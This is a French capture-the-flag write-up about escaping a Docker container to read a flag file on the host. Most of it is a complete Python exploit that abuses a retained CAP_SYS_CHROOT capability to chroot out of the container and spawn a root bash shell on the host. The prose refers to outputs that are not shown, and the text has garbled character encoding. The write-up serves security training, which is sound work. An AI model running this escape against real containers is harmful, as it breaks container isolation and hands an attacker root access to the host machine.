Pour ce challenge, le but est de s'Êchapper du container Docker dans lequel nous sommes afin d'accÊder à la machine hôte et de rÊcupÊrer le fichier /root/flag.txt.
Pour ce faire, nous passons par plusieurs Êtapes cruciales :
Lors de la connexion en SSH, nous arrivons sur le Docker avec un compte root
Nous voyons ce qu'il se passe au dÊmarrage :
Nous avons Êgalement le script container.c à analyser, avec une info cruciale à prendre en compte :
Python est utilisable sur le Docker
Avec tout cela, nous allons pouvoir faire quelques tests et surtout un script python afin d'automatiser la sortie du Docker.
Passons directement aux choses sÊrieuses, avec un petit peu de reconnaissance et le fameux script Python :
Nous voyons ici que nous n'avons pas de fichier flag.txt, ce qui est un peu ennuyeux quand on doit retrouver le contenu de ce fameux fichier ^^.
Maintenant pour le script Python, voici ce qui fonctionne parfaitement :
#!/usr/bin/env python3
"""
Ãvasion du conteneur : on exploite le fait que la capacitÊ CAP_SYS_CHROOT
nâa pas ÊtÊ retirÊe. LâidÊe est de :
1. faire un 1° chroot vers un dossier factice à lâintÊrieur* du conteneur
2. remonter le plus haut possible dans lâarborescence
3. refaire un chroot(".") pour redÊfinir / qui correspond maintenant
au ÂĢ vrai Âģ root de la machine hôte
4. lancer un shell root.
"""
import os # appels système (chroot, chdir, âĻ)
import subprocess # pour exÊcuter /bin/bash
import pathlib # crÊation propre du dossier de fuite
import itertools # gÊnÊrer une boucle ÂĢ infinie Âģ sans compteur explicite
# âââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââ
# 1) PrÊparation : on crÊe un dossier qui servira de ÂĢ leurre Âģ
# âââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââ
ESC = "/tmp/eroot"
pathlib.Path(ESC).mkdir(exist_ok=True)
# âââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââ
# 2) Premier chroot
# âââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââ
# Après cet appel, le noyau considère ESC comme la nouvelle racine.
# ATTENTION : notre rÊpertoire courant ÂĢ / Âģ est en dehors de ce nouvel
# espace. Câest prÊcisÊment ce quâon veut exploiter.
os.chroot(ESC)
# âââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââ
# 3) On remonte lâarborescence jusquâà atteindre la VRAIE racine
# âââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââ
for _ in itertools.repeat(None, 500):
try:
os.chdir("..")
except FileNotFoundError:
break
# Ã lâissue de la boucle, le cwd est la vraie racine (celle du host)
# âââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââ
# 4) Deuxième chroot â on re-dÊfinit ÂĢ / Âģ sur le host
# âââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââ
# Le point (.) correspond au cwd => devient la nouvelle racine pour le
# processus (= root du système hôte). Nous sommes donc ÂĢ sortis Âģ du conteneur.
os.chroot(".")
# âââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââ
# 5) On profite de nos privilèges root pour lancer un shell
# âââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââ
subprocess.call("/bin/bash")
Voici ce qu'il se passe quand nous lançons le script :
Nous avons enfin notre prÊcieux fichier flag.txt. Alors allons le lire :
Il ne faut parfois pas ÃĒtre trop pressÊ, car sans droits, nous ne pouvons pas lire les fichiers ^^